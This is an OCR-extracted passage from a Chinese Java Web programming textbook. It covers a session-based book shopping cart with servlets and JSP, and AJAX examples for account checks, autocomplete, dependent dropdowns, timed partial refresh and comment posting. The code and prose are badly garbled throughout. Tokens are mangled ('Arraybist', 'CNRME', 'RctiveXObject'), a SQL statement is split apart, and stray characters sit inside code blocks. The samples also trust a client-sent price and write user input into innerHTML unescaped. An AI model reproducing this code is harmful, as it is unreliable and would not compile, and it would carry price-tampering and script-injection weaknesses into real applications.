书本 价格 :<% = book. getBookprice()%><br> 
< input name = "bookno" type = "hidden" value = "<$%= book. getBookno( ) 和 >"> 
< input name = "bookname" type = "hidden" 

Value = "<$%= book. getBookname( ) %>"> 
< input name = "bookprice" type = "hidden" 

value = "<% = book. getBookprice( ) %>"> 
数量 : 

< input name = "booknumber"> 
< input type= "submit" value= "购买 "> 

</form> 


表示 提交 到 AddServlet ,在 代码 中 用 到 了 隐藏 表单 。 


AddServlet. java 的 代码 如 下 。 


AddServlet. java 


package servlet; 


import java. io. IOException; 

import java. util. HashMap; 

import javax. servlet. ServletException; 

import javax. servlet. http. HttpServlet; 

import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 
import javax. servlet. http. HttpSession; 

import vo. Book; 


public class AddServlet extends HttpServlet { 


public void doPost(HttpServletRequest request, HttpServletResponse response) 

throws ServletException, IOException { 

request. setCharacterEncoding( "gb2312"); 

HttpSession session = request. getSession(); 

HashMap books = (HashMap) session. getAttribute( "books"); 

// 获 取 提 交 的 内 容 

String bookno = request. getParameter("bookno" ); 

String bookname = request. getParameter( "bookname" ); 

String strBookprice = request. getParameter("bookprice"); 

String strBooknumber = request. getParameter( "booknumber" ); 


298 
Java Web 程序 设计 (第 3 版 )- 微 课 视频 版 


// 存 人 购物 车 

Book book = new Book( ); 

book. setBookno(bookno) ; 

book. setBookname(bookname) ; 

float bookprice = Float. parseFloat( strBookprice); 
book. setBookprice( bookprice); 

int booknumber = Integer. parseInt( strBooknumber); 
book. setBooknumber( booknumber); 

books. put (bookno, book); 

// 总 钱 数 增加 

float money = (Float) session. getAttribute("money"); 
money = money + bookprice * booknumber; 

session. setAttribute("money", money); 

response. sendRedirect("/Prj1l9/showCart. jsp" ); 


19.3.6 编写 showCart. jsp 和 RemoveServlet. java 
showCart. jsp 负责 显示 购物 车 中 的 内 容 , 代 码 如 下 。 


showCart. jsp 


<% 四 page language = "java" import = "java. util. * 
<% @page import = "vo. Book" %$ > 
<html> 
<body> 
<table border = "1"> 
<tr bgcolor = "pink"> 
<td> 书 本 名 称 </td> 
<td> 书 本 价格 </td> 
<td> 数 量 </td> 
<td> 删 除 </td> 
</tr> 
<% 


" pageEncoding = "gb2312" %> 


HashMap books = (HashMap) session. getAttribute( "books" ); 
Set set = books. keySet( ); 
Iterator ite = set. iterator(); 
while( ite. hasNext()){ 
String bookno = (String) ite. next(); 
Book book = (Book)books. get(bookno) ; 
先 > 
< tr bgcolor = "Yellow"> 
<td><%= book. getBookname() %></td> 
<td><%= book. getBookprice() %></td> 
<td><$ = book. getBooknumber() %></td> 
<td><a href = "/Prj19/servlet/RemoveServlet?bookno = <% = book. getBookno( ) % >"> 删 
除 </a></td> 
</tr> 
<% 
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先 > 
</table> 
现金 总 额 :<% = session. getAttribute("money")%><hr> 
<a href = "showAllBook. jsp"> 继 续 买书 </a> 
</body> 
</html > 


其 中 : 


<td><a href = "/Prjl19/servlet/RemoveServlet?bookno = <% = book. getBookno( ) % >"> 删 除 </a >| 
</td> 


表示 删除 链接 的 目标 为 RemoveServlet, 并 给 其 传 一 个 参数 。 
RemoveServlet. java 的 代码 如 下 。 


RemoveServlet. java 


package servlet; 


import java. io. IOException; 
import java. util. HashMap; 


import javax. servlet. ServletException; 

import javax. servlet. http. HttpServlet; 

import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 
import javax. servlet. http. HttpSession; 

import vo. Book; 


public class RemoveServlet extends HttpServlet { 
public void doGet(HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
request. setCharacterEncoding( "gb2312"); 
String bookno = request. getParameter("bookno" ); 


HttpSession session = request. getSession( ); 

HashMap books = (HashMap) session. getAttribute( "books" ); 
Book book = (Book)books. get (bookno); 

// 总 钱 数 减 少 

float money = (Float) session. getAttribute("money" ); 

money = money 一 book. getBooknumber( ) * book. getBookprice( ) ; 
session. setAttribute( "money", money); 

// 移 除 相 应 图 书 

books. remove(bookno) ; 

response. sendRedirect("/Prjl9/showCart. jsp" ); 
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访问 InitServlet. jsp ,就 可 以 得 到 相应 效果 。 
19.4 思考 题 : 如 何 进行 session 检查 


在 本 项 目 中 ,请 大 家 思考 如 下 问题 。 

(1) 不 访问 InitServlet. jsp ,直接 访问 showAllBook. jsp , 抛 出 异常 。 

在 本 项 目 中 ,如 果 客 户 不 访问 InitServlet. jsp ,直接 输入 showAllBook. jsp 来 访问 该 页 
面 , 则 抛 出 异常 ,效果 如 图 19-5 所 示 。 

在 正常 情况 下 ,应 该 要 显示 所 有 图 书 。 

(2) 如 何 提升 已 有 功能 。 

在 本 项 目 中 只 能 对 购物 车 中 的 内 容 进行 删除 ,而 在 一 般 情况 下 ,还 需要 提供 对 购物 车 中 
内 容 的 修改 功能 ,如 图 19-6 所 示 。 


HTTP Status 500 fava Ba.0 “所 。” 国 际 陈 到 
现金 豆 额 :195.0 
时 Exception report 继续 买书 
图 19-5 异常 图 19-6 显示 效果 


单 击 “ 修 改 " 链 接 , 应 该 能 够 对 现 有 数量 进行 修改 。 
如 何 解决 这 些 问 题 呢 ? 请 大 家 思考 。 


编程 实 训 5: AJAX 的 应 用 


本 章 选 学 ,建议 学 时 : 4 

在 前 面 章节 中 主要 讲解 了 EL JSTL、 自 定义 标签 ,以 及 AJAX 的 原理 和 应 用 ,本 章 主 要 
基于 这 些 基 础 知识 讲解 AJAX 的 一 些 典型 应 用 ,根据 AJAX 在 不 同 场合 的 应 用 将 AJAX 分 
为 自动 查询 、 按 需 取 数据 、 页 面部 分 刷新 等 使 用 领域 进行 学 习 。 


20.1 用 AJAX 实现 自动 查询 


20.1.1 需求 介绍 

自动 查询 是 指 在 网 页 上 执行 一 定 的 客户 端 操作 之 后 能 够 在 服务 器 端 自动 查询 数据 库 中 
的 内 容 ,然而 客户 端 不 刷新 ,所 有 查询 过 程 部 是 异步 进行 。 。 欢迎 注册 教务 管理 系统 . 

本 节 使 用 AJAX 实现 如 下 案例 : 在 注册 界面 中 输入 客 


a 可 Se 请 您 输入 账号 : 
户 账号 , 当 忌 标 光标 离开 账号 文本 框 之 后 ,能 够 自动 在 数据 “请 人 入 
库 端 验证 该 账号 是 否 能 够 注册 。 输入 确认 密码 : 
首先 出 现 注册 界面 ,效果 如 图 20-1 所 未 。 | 人 
输入 数据 库 中 存在 的 账号 , 当 鼠 标 光 标 离开 账号 文本 
框 时 能 够 异步 查询 该 账号 是 否 存在 ,并 对 用 户 进 行 提示 。 。。 图 201 显示 效果 1 
如 果 账号 已 经 存在 ,提示 如 图 20-2 所 示 。 
欢迎 注册 教务 管理 系统 . 
请 您 输入 账号 : 001 该 账户 已 经 存在 ， 您 不 可 以 注册 
图 20-2 显示 效果 2 
如 果 账 号 不 存在 ,效果 如 图 20-3 所 示 。 
欢迎 注册 教务 管理 系统 . 
请 您 输入 账号 : 002 您 可 以 注册 


图 20-3 显示 效果 3 


显然 ,本 例 中 只 需要 在 鼠标 光标 离开 文本 框 时 查询 账号 是 否 存 在 并 将 结果 显示 
即 可 。 
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20.1.2 实现 过 程 
此 处 使 用 Access 数据 库 。 数 据 库 的 配置 方法 在 前 面 的 章节 已 有 叙述 ,请 读者 参考 第 
6 章 。 


很 明显 ,在 本 项 目 中 只 需要 一 个 数据 表 , 包 含 账号 、 密 码 和 用 户 姓名 。 
创建 表 的 脚本 如 下 。 


CREATE TABLE T_CUSTOMER( 
ACCOUNT varchar(40), 
PASSWORD varchar (40), 
CNAME varchar(40) 
) 


插入 一 些 数 据 。 
首先 编写 JSP 页 面 ,代码 如 registerForm. jsp 所 示 。 


registerForm. jsp 


<% @ page language = "java" pageEncoding = "gb2312" %> 
<!DOCTYPE HTML PUBLIC " ~ //W3C//DTD HTML 4. 01 Transitional//EN"> 
< html > 
<body> 
< SCRIPT LANGUAGE = "JavaScript"> 
function check( ){ 
Var account = document. regForm. account. value; 
var xmlHttp = new ActiveXObject("Msxml2. XMLHTTP" ) ; 
var Url = "/Prj20/servlet/CheckServlet?account = " + account; 
xmlHttp. open("GET", url, true); 
xmlHttp. onreadystatechange = function() { 
if (xmlHttp. readyState == 4) { 
checkDiv. innerHTML = xmlHttp. responseText; 


} 
else{ 

checkDiv. innerHTML = "正在 检测 .…"; 
} 


} 
xmlHttp. send( ); 
| 
</SCRIPT> 
欢迎 注册 教务 管理 系统 .< br > 
< form name = "regForm"> 
请 您 输入 账号 :< input type = "text" name = "account" onblur = "check()"> 
< span id= "checkDiv"></span ><br> 
请 您 输入 密码 :< input type = "password" name = "password">< br> 
输入 确认 密码 :< input type = "password" name = "cpassword">< br> 
请 您 输入 姓名 :< input type = "text" name = "cname"><br> 
< input type = "button" value = "注册 "> 
</form> 
</body> 
</html > 
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该 页 面 出 现 JSP 注册 表单 。 当 鼠标 光标 离开 账号 文本 框 时 能 够 提交 给 “/Prj20/servlet” 下 
的 CheckServlet。 下 面 是 CheckServlet 的 代码 。 


CheckServlet. java 


package servlet; 


import java. io. IOException; 

import java. io. PrintWriter; 

import javax. servlet. ServletException; 

import javax. servlet. http. HttpServlet; 

import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 
import vo. Customer; 

import dao. CustomerDao; 


public class CheckServlet extends HttpServlet { 
public void doPost(HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
response. setHeader("Cache - Control", "no- cache"); 
response. setContentType( "text/html;charset = gb2312"); 
String account = request. getParameter("account"); 
CustomerDao cdao = new CustomerDao( ) ; 
Customer cus = null; 
try { 
cus = cdao. getCustomerByAccount (account); 
} catch (Exception e) { 
e. printStackTrace( ); 
} 
PrintWriter out = response. getWriter( ); 
if(cus== null){ 
out. println(" 您 可 以 注册 "); 
} 
else{ 
out. println(" 该 账户 已 经 存在 ,您 不 可 以 注册 "); 
} 
} 
public void doGet (HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
this. doPost (request, response); 


在 该 Servlet 中 调用 了 CustomerDao, 并 返回 Customer 对 象 。CustomerDao 的 代码 如 下 。 


CustomerDao. java 


package dao; 


import java. sql. Connection; 

import java. sql. DriverManager; 
import java. sql. PreparedStatement; 
import java. sql. ResultSet; 

import java. util. Arraybist; 
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import vo. Customer; 


// 访 问 数据 库 
public class CustomerDao { 
private Connection conn = null; 


public void initConnection() throws Exception { 

Class. forName("sun. jdbc. odbc. JdbcOdbcDriver" ); 

conn = DriverManager. getConnection("jdbc:odbc:DSSchool", "", ""); 
. 
public void closeConnection() throws Exception { 

conn. close( ); 


public Customer getCustomerByAccount (String account) throws Exception { 
String sql = "SELECT ACCOUNT, PASSWORD, CNRME " 
+ "FROM T_CUSTOMER WHERE ACCOUNT 
this. initConnection(); 
PreparedStatement ps = conn. prepareStatement( sql); 
ps. setString(1, account); 
ResultSet rs = ps. executeQuery(); 
if (rs.next()) { 
Customer cus = new Customer(); 
cus. setAccount (rs. getString("RCCOUNT" ) ) ; 
cus, setPassword(rs. getString("PASSWORD" ) ) ; 
cus. setCname(rs. getString("CNRME" ) ); 
return cus; 


= 9"; 
罚 演 


} 
closeConnection(); 
return null; 


Customer 的 代码 如 下 。 


Customer. java 


package vo; 


public class Customer { 

private String account; 

private String password; 

private String cname; 

public String getAccount() { 
return account; 

} 

public void setAccount (String account) { 
this. account = account; 

} 

public String getPassword() { 
return password; 
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public void setPassword(String password) { 
this. password = password; 

} 

public String getCname() { 
return cname; 

} 

public void setCname(String cname) { 
this. cname = cname; 

和 

} 


接 下 来 测试 registerForm. jsp 程序 ,就 能 够 看 到 类 似 效 果 。 
20.1.3 类似 应 用 


自动 查询 有 很 多 类 似 应 用 ,自动 补 齐 就 是 其 中 一 种 。 以 管理 员 修 改 用 户 为 例 , 该 应 用 的 
效果 如 下 。 

中 系统 首先 显示 页 面 ,出 现 修改 表单 ,效果 如 图 20-4 所 示 。 

@ 用 户 输入 账号 ,鼠标 光标 移 到 下 一 个 文本 框 ,系统 能 根据 账号 自动 地 查询 数据 库 ,并 
在 姓名 框 内 自动 出 现 相关 信息 ,界面 不 刷新 ,效果 如 图 20-5 所 示 。 


修改 用 户 信息 修改 用 户 信息 
请 您 输入 账号 : 001 ] 请 您 输入 账号 : 001 _ 
请 您 输入 密码 : 请 您 输入 密码 : 
输入 确认 密码 : 输入 确认 密码 : 
请 您 输入 姓名 : 请 您 输入 姓名 : 王 伟 
ER] IE 

图 20-4 “修改 用 户 信息 ”表单 图 20-5 显示 效果 


该 案例 可 以 使 用 前 面 的 DAO 和 VO, 此 处 只 需 编写 JSP 和 Servlet 就 可 以 达到 该 效果 。 
JSP 页 面 的 源 代码 如 autoQuery. jsp 所 示 。 


autoQuery. jsp 


<$% @ page language = "java" pageEncoding = "gb2312" %> 
<! DOCTYPE HTML PUBLIC " ~ //W3C//DTD HTML 4.01 Transitional//EN"> 
<html> 
<body> 
< SCRIPT LANGUAGE = "JavaScript"> 
function getinfo( ){ 
var account = document. modifyForm. account. value; 
var xmlHttp = new ActiveXObject("Msxml2. XMLHTTP" ) ; 
var url = "/Prj20/servlet/AutoQueryServlet?account = " + account; 
xmlHttp. open("GET", url, true); 
xmlHttp. onreadystatechange = function() { 
if (xmlHttp. readyState == 4) { 
Var xmlDom = xmlHttp. responseXm]; 
modifyForm. cname. value = 
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xmlDom. getElementsByTagName( "cname")[0]. text; 
} 
} 
xmlHttp. send( ); 
j 
</SCRIPT > 
修改 用 户 信息 <br> 
< form name = "modifyForm"> 
请 您 输入 账号 :< input type = "text" name = "account" onblur = "getinfo()"><br> 
请 您 输入 密码 :< input type = "password" name = "password"><br> 
输入 确认 密码 :< input type = "password" name = "cpassword">< br> 
请 您 输入 姓名 :< input type = "text" name = "cname"><br> 
< input type = "button" value = "修改 "> 
</form> 
</body> 
</html > 


该 JSP 的 AJAX 代码 提交 给 “/Prj20/servlet” 下 的 AutoQueryServlet, 其 代码 如 下 。 
AutoQueryServlet. java 


package servlet; 


import java. io. IOException; 

import java. io. PrintWriter; 

import javax. servlet. ServletException; 

import javax. servlet. http. HttpServlet; 

import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 
import vo. Customer; 

import dao. CustomerDao; 


public class AutoQueryServlet extends HttpServlet { 
public void doPost (HttpServletRequest request, HttpServletResponse response) 

throws ServletException, IOException { 

response. setHeader("Cache - Control"，"no - cache"); 

response. setContentType( "text/xml;charset = gb2312"); 

String account = request. getParameter("account" ); 

CustomerDao cdao = new CustomerDao( ); 

Customer cus = null; 

try { 
cus = cdao. getCustomerByAccount (account); 

} catch (Exception e) { 
//TODO Auto - generated catch block 
e. printStackTrace( ); 

PrintWriter out = response. getWriter(); 

if(cus!= null){ 
out. println("<?xml version = '1.0'encoding = 'gb2312'?>"); 
out. println("< customer >"); 
out. println("< cname >" + cus. getCname() + "</cname >"); 
out. println("</customer >"); 
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public void doGet(HttpServletRequest request，HttpServletResponse response) 
throws ServletException, IOException { 
this. doPost(request, response); 


} 


运行 autoQuery.jsp, 就 可 以 得 到 相应 效果 。 
20.2 按 需 取 数 据 


20.2.1 需求 介绍 

按 需 取 数据 是 指 在 网 页 上 执行 一 定 的 客户 端 操作 之 后 能 够 根据 需要 在 服务 器 端 自动 获 
取 相应 内 容 , 但 是 客户 端 不 刷新 ,所 有 查询 过 程 也 都 是 异步 进行 。 

本 节 使 用 AJAX 实现 如 下 案例 : 在 学 生 界 面 中 出 现 菜单 ,显示 学 生 的 性 别 , 当 选择 性 别 
后 ,系统 能 够 自动 地 在 数据 库 中 查询 相应 性 别 的 学 生 姓 名 ,并 显示 在 另 一 个 下 拉 菜 单 内 , 供 


用 户 选择 。 界 面 效 果 如 图 20-6 所 示 。 
当选 择 “ 男 ”时 ,能 将 男生 姓名 显示 在 另 一 个 下 拉 菜 单 中 ,界面 效果 如 图 20-7 所 示 。 


显示 学 生 信息 
i 学 生性 别 。 页 “| 学 生 姓名 :| 王 应 | 
学 生性 别 。 [对 天 性 别 “| 学 生 姓名 : 节 朋 
于 刘 奇 
图 20-6 选择 性 别 图 20-7 显示 效果 


当选 择 “ 女 "时 , 另 一 个 下 拉 菜 单 相应 刷新 。 显 然 , 只 需要 在 性 别 下 拉 菜 单 内 容 改 变 时 查 
询 相应 的 姓名 即 可 。 


20.2.2 实现 过 程 
此 处 使 用 Access 数据 库 , 使 用 的 是 教学 数据 库 中 的 T_STUDENT 表 , 然 后 插入 若干 


记录 。 
首先 编写 JSP 页 面 ,代码 如 showStudentsl. jsp 所 示 。 


showStudents1. jsp 


<%@ page language = "java" pageEncoding = "gb2312" %> 
<! DOCTYPE HTML PUBLIC " — //W3C//DTD HTML 4. 01 Transitional//EN"> 
<html> 
<body> 
< SCRIPT LANGUAGE = "JavaScript"> 
function getStuname( ){ 
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Var stusex = document. selectForm. stusex. value; 
var xmlHttp = new ActiveXObject("Msxml2. XMLHTTP" ) ; 
var url = "/Prj20/servlet/ShowStudentServlet?stusex = " + stusex; 
xmlHttp. open("GET", url, true); 
xmlHttp. onreadystatechange = function() { 
if (xmlHttp. readyState== 4) { 
Var xmlDom = xmlHttp. responseXm]; 
Var stunames = 
xmlDom. getElementsByTagName("stuname" ); 
selectForm. stuname. options. length= 0; 
for(i=0;i< stunames. length;i++){ 
var stuname = stunames[i]. text; 
selectForm. stuname. options. add(new Option( stuname, stuname) ) ; 


} 


} 
xmlHttp. send( ); 
} 
</SCRIPT > 
显示 学 生 信息 <br> 
< form name = "selectForm"> 
学 生性 别 : 
< select name = "stusex" onchange = "getStuname( ) "> 
< option > 选择 性 别 </option> 
< option value = " 男 "> 男 </option> 
<option value = " 女 "> 女 </option> 
</select> 
学 生 姓名 :< select name = "stuname"> 
</select> 
</form> 
</body> 
</html > 


该 页 面 出 现 性 别 选 择 表 单 。 当 选择 性 别 时 ,能 够 提交 给 "/Prj20/servlet” 下 的 
ShowStudentServlet。 下 面 是 ShowStudentServlet 的 代码 。 


ShowStudentServlet. java 


package servlet; 


import java. io. IOException; 

import java. io. PrintWriter; 

import java. util. List; 

import javax. servlet. ServletException; 

import javax. servlet. http. HttpServlet; 

import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 
import dao. StudentDao; 


public class ShowStudentServlet extends HttpServlet { 


public void doPost(HttpServletRequest request, HttpServletResponse response) 
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throws ServletException, IOException { 
response. setHeader("Cache - Control", "no— cache"); 
response. setContentType( "text/xml;charset = gb2312"); 
String stusex = request. getParameter("stusex" ); 
stusex = new String( stusex. getBytes("IS0O— 8859 — 1")); 
StudentDao sdao = new StudentDao( ); 
List stunames = null; 
try{ 

stunames = sdao. getStunamesByStuSex( stusex); 
} catch (Exception e) { 

e. printStackTrace( ); 
} 
PrintWriter out = response. getWriter(); 
out.println("<?xm]l version = '1.0' encoding = 'gb2312'?>"); 
out. println("< stunames >"); 
for(int i=0;i< stunames. size();i+t+){ 

String stuname = (String)stunames. get(i); 

out, println("< stuname >" + stuname + "</stuname>"); 
} 


out. println("</stunames >"); 


public void doGet (HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
this. doPost (request, response); 


在 该 Servlet 中 调用 了 StudentDao ,并 返回 集合 。StudentDao 的 代码 如 下 。 


StudentDao. java 


package dao; 


import java. sql. Connection; 

import java. sql. DriverManager; 
import java. sql. PreparedStatement; 
import java. sql. ResultSet; 

import java. util. ArrayList; 

import java. util. List; 


public class StudentDao { 
private Connection conn = null; 
public void initConnection( ) throws Exception { 
Class. forName("sun. jdbc. odbc. JdbcOdbcDriver" ); 
conn = DriverManager. getConnection("jdbc:odbc:DSSchool"，""，""); 
} 
public void closeConnection( ) throws Exception { 
conn. close(); 
} 
public List getStunamesByStuSex(String stusex)throws Exception{ 
String sql = 
"SELECT STUNAME FROM T_STUDENT WHERE STUSEX = ?"; 
List stunames = new ArrayList(); 
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this. initConnection( ); 
PreparedStatement ps = conn. prepareStatement(sql); 
ps. setString(1, stusex); 
ResultSet rs = ps. executeQuery( ); 
while(rs. next()){ 
stunames. add(rs. getString( "STUNAME" ) ) ; 
} 
this. closeConnection( ); 
return stunames; 


} 


接 下 来 测试 showStudentsl. jsp ,就 可 以 看 到 类 似 效果 。 
20.2.3 类 似 应 用 


按 需 取 数 据 有 很 多 类 似 应 用 ,例如 在 很 多 注册 表单 中 选择 用 户 的 省 份 ,能 够 自动 地 查询 
该 省 份 的 所 有 市 (读者 可 以 在 很 多 网 站 上 看 到 这 样 的 应 用 )。 本 例 将 展示 20. 2. 1 节 实 例 的 
另 一 个 版 本 ,该 应 用 的 效果 如 下 。 

@ 系统 首先 出 现 页 面 ,如 图 20-8 所 示 , 用 树 形 显示 性 别 。 

@ 单 击 某 种 性 别 , 显 示 该 性 别 下 的 所 有 学 生 ,效果 如 图 20-9 所 示 。 


显示 学 生 信息 
学 生性 别 ， 
男 
。 张 庄 
_ 。 李 明 

显示 学 生 信息 。 刘 奇 

学 生性 别 ， 。 周 永 

男 。 郑 强 

女 

20-8 显示 效果 图 20-9 显示 男性 学 生 


@ 青 单 击 , 相 应 树 形 目录 缩 回 , 变 为 没有 单 击 前 的 状态 。 
该 案例 可 以 使 用 前 面 的 Servlet\DAO, 只 需 编写 JSP 就 可 以 达到 该 效果 。JSP 页 面 的 
源 代码 如 showStudents2. jsp 所 示 。 


showStudents2. jsp 


<%@ page language = "java" pageEncoding = "gb2312" %> 
<! DOCTYPE HTML PUBLIC " - //W3C//DTD HTML 4. 01 Transitional//EN"> 
<html> 
<body> 
< SCRIPT LANGUAGE = "JavaScript"> 
function getStunames( stusex){ 
var div = document. getElementById( stusex); 
if(div. innerHTMLI= ""){ 
div. innerHTML = ""; 
return; 
’ 
var xmlHttp = new ActiveXObject("Msxml2. XMLHTTP" ) ; 
var url = "/Prj20/servlet/ShowStudentServlet?stusex= " + stusex; 
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xmlHttp. open("GET", url, true); 
xmlHttp. onreadystatechange = function() { 
if (xmlHttp. readyState == 4) { 
Var xmlDom = xmlHttp. responseXm]; 
Var stunames = xmlDom. getElementsByTagName( "stuname" ) ; 


for(i=0;i<stunames. length;i++){ 
var stuname = stunames[ i]. text; 
div. innerHTML += ("<1i>" + stuname+ "<br>"); 


} 
} 
xmlHttp. send( ); 
} 
</SCRIPT > 
显示 学 生 信息 < br > 
学 生性 别 : < br > 
<a onclick = "getStunames(' 男 ')"> 男 </a><br>< span id= " 男 "></span> 
<a onclick = "getStunames(' 女 ')"> 女 </a><br>< span id=" 女 "></span> 
</body> 
</html > 


运行 showStudents2. jsp ,就 可 以 得 到 相应 效果 。 


20.3 页 面部 分 刷新 


20.3.1 需求 介绍 


B/S 模式 客户 端 缺乏 实时 性 ,很 多 场合 要 通过 刷新 来 获取 服务 器 端的 当前 状态 ,但 是 页 


面 刷新 意味 着 重新 载 和 ,常常 要 面临 客户 的 等 待 , 因 此 只 让 页 面 的 一 部 分 进行 刷新 能 够 提高 
用 户 的 浏览 质量 。 


本 节 使 用 AJAX 实现 如 下 案例 : 在 界面 上 显示 系统 中 所 有 女生 的 姓名 ,每 5 秒 进行 一 


次 实时 查询 ,显示 当前 系统 中 女生 的 姓名 ,但 是 整个 浏览 器 窗口 并 不 刷新 。 界 面 效 果 如 
图 20-10 所 示 。 


如 果 系 统 中 删除 了 一 个 女生 (例如 王 艳 ), 在 界面 上 能 够 自动 显示 ,效果 如 图 20-11 所 示 。 


以 下 是 系统 中 的 女生 ， 

了 以 下 是 系统 中 的 女生 ， 

起 芳 赵 芳 

天 红 下 红 

吴 丽 吴 丽 

呈 吴 隐 

图 20-10 显示 效果 20-11 删除 一 个 女生 


整个 过 程 不 需要 用 户 单 击 “ 刷 新 ”按钮 ,客户 也 看 不 到 任何 刷新 的 痕迹 。 
很 显然 ,只 需要 定时 运行 刷新 函数 即 可 。 
复习 : 在 JavaScript 中 .定时 操作 的 代码 如 下 。 


window. setTimeout(" 方 法 名 ", "毫秒 数 "); 
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20.3.2 实现 过 程 


在 本 例 中 使 用 上 一 节 用 到 的 数据 库 和 T_STUDENT 数据 表 , 以 及 相应 的 StudentDao 
类 和 ShowStudentServlet。 
编写 的 JSP 页 面 如 showGirls. jsp 所 示 。 


showGirls. jsp 


<! DOCTYPE HTML PUBLIC " - //W3C//DTD HTML 4. 01 Transitional//EN"> 
< htm]l > 
< body onload = "showGirls()"> 
< SCRIPT LANGUAGE = "JavaScript"> 
function showGirls(){ 
var xmlHttp = new RctiveXObject("Msxm12. XMLHTTP" ) ; 
var url = "/Prj20/servlet/ShowStudentServlet?stusex= 女 "; 
xmlHttp. open("GET", url, true); 
xmlHttp. onreadystatechange = function() { 
if (xmlHttp. readyState == 4) { 
Var xmlDom = xmlHttp. responseXml; 
Var stunames = 
xmlDom. getElementsBYTagName("stuname" ); 
girlsDiv. innerHTML = ""; 
for(i=0;i< stunames. length;i++){ 
var stuname = stunames[ i]. text; 
girlsDiv. innerHTML += (stuname + "<br>"); 


} 
} 
xmlHttp. send( ); 
window. setTimeout ("showGirls()","5000"); 
} 

</SCRIPT > 

以 下 是 系统 中 的 女生 :< hr > 

<div id= "girlsDiv"></div> 

</body> 
</html > 


接 下 来 测试 showGirls. jsp ,就 可 以 看 到 类 似 效果 。 
20.3.3 类 似 应 用 


页 面部 分 刷新 还 有 很 多 类 似 应 用 .例如 很 常见 的 进度 条 显示 ,就 是 每 隔 一 段 时 间 自 动 查 
询 进度 并 显示 ,也 相当 于 页 面部 分 刷新 。 另 外 ,在 一 些 论坛 中 ,为 了 提高 客户 的 浏览 质量 ,也 
会 用 到 页 面部 分 刷新 。 例 如 少量 数据 提交 时 的 部 分 刷新 问题 ,描述 如 下 。 

有 一 张 帖子 ,有 很 多 人 留言 了 ,页 面 很 大 ,现在 有 人 提交 留言 ,在 能 够 不 刷新 整个 页 面 的 
情况 下 将 留言 保存 到 数据 库 , 并 且 显示 在 帖子 底 端 ,本 节 实 现 该 效果 。 

首先 显示 页 面 ,显示 发 帖 表 单 .如 图 20-12 所 示 。 

输入 帖子 ,提交 ,能 够 将 帖子 内 容 保 存 到 数据 库 , 如 果 保存 成 功 , 则 将 其 内 容 在 帖子 下 端 
显示 ,整个 页 面 不 刷新 ,效果 如 图 20-13 所 示 。 
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x“ 章 正文 省略) 
Es 文章 正文 (省 略 ) 


输入 内 容 : 
这 篇 文 章 写 得 不 描 ! “~ 
输入 内 容 : 
= E 
图 20-12 显示 发 帖 表单 图 20-13 显示 帖子 


在 该 案例 中 首先 要 出 现 的 是 JSP,JSP 页 面 的 源 代码 如 writeArticle. jsp 所 示 。 


writeArticle. jsp 
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<% @ page language = "java" pageEncoding = "gb2312" %> 
<! DOCTYPE HTML PUBLIC " - //W3C//DTD HTML 4.01 Transitional//EN"> 
<html> 
<body> 
< SCRIPT LANGUAGE = "JavaScript"> 
function writeArticle( ){ 
var xmlHttp = new ActiveXObject("Msxml2. XMLHTTP" ) ; 
var article = postForm. article. value; 
var Url = "/Prj20/servlet/WriteArticleServlet?article=" + articl 
xmlHttp. open("GET", url, true); 
xmlHttp. onreadystatechange = function() { 
if (xmlHttp. readyState == 4) { 
var text = xmlHttp. responseText; 
if(text == "OK"){ 
postForm. article. value = ""; 
articleDiv. innerHTML += (article + "<hr>"); 
} 
else{ 
alert(" 发 帖 失 败 "); 
} 
} 
} 
xmlHttp. send( ); 
} 
</SCRIPT> 
文章 正文 (省 略 )<hr> 
<div id= "articleDiv"></div> 
< form name = "postForm"> 
输入 内 容 :<br> 
< textarea name = "article" rows = "5" cols = "20"></textarea> 
< input type = "button" onclick = "writeArticle( )" value = "提交 "> 
</form> 
</body> 
</html > 


该 JSP 的 AJAX 代码 提交 给 “/Prj20/servlet” 下 的 WriteArticleServlet, 该 Servlet 3 


WriteArticleServlet. java 


要 


是 将 帖子 内 容 插入 到 数据 库 , 并 返回 插入 是 否 成 功 的 信息 ,此 处 进行 简单 的 模拟 ,仅仅 打印 
其 插入 的 状态 即 可 。 其 代码 如 下 。 


package servlet; 
import java. io. IOException; 
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import java. io. PrintWriter; 
import javax. servlet. ServletException; 
import javax. servlet. http. HttpServlet; 
import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 
public class WriteArticleServlet extends HttpServlet { 
public void doPost (HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
response. setHeader("Cache — Control", "no— cache"); 
// 模 拟 
String article = request. getParameter("article"); 
article = new String(article. getBytes("IS0O— 8859 — 1")); 
System. out. println(" 将 帖子 :”+ article + "; 插 入 数据 库 ."); 
PrintWriter out = response. getWriter(); 
out. print ("OK"); 
3 
public void doGet(HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
this, doPost( request, response); 


运行 JSP, 就 可 以 得 到 相应 效果 。 当 输入 一 条 帖子 ,例如 “这 篇 文章 写 得 不 错 1”, 并 提交 
寺 ,控制 台 打印 ,效果 如 图 20-14 所 示 。 


将 帖子 :这 篇 文章 写 得 不 错 ! ;插入 数据 库 . 
20-14 控制 台 输 出 


这 说 明 数 据 库 操作 是 可 以 运行 的 。 
本 章 项 目 结构 如 图 20-15 所 示 。 


4 吕 pj20 
4 中 src 
4 出 dao 
》 回 CustomerDaojava 
》 回 StudentDaojava 
4 遍 seviet 
? @ AutoQueryServietjava 
» BD CheckSevietjava 
》 回 showstudentservletjava 
》 国 writeArideservletjava 
4 出 vo 
» 国 Customerjave 
b mh JRE System Library UDK6] 
» Bi Java EE 5 Libraries 
4 E WebRoot 
4 exl 
轩 autoQueryjsp 
团 registerFormjsp 
se 
区 showStudentljsp 
BF showstudentzjsp 
.Be3 
BF showGirlsjsp 
团 writeArtidejsp 
» EE META-INF 
» E WEB-INF 


20-15 项目 结构 


配套 素材 内 容 与 使 用 说 明 


A.1 配套 素材 内 容 


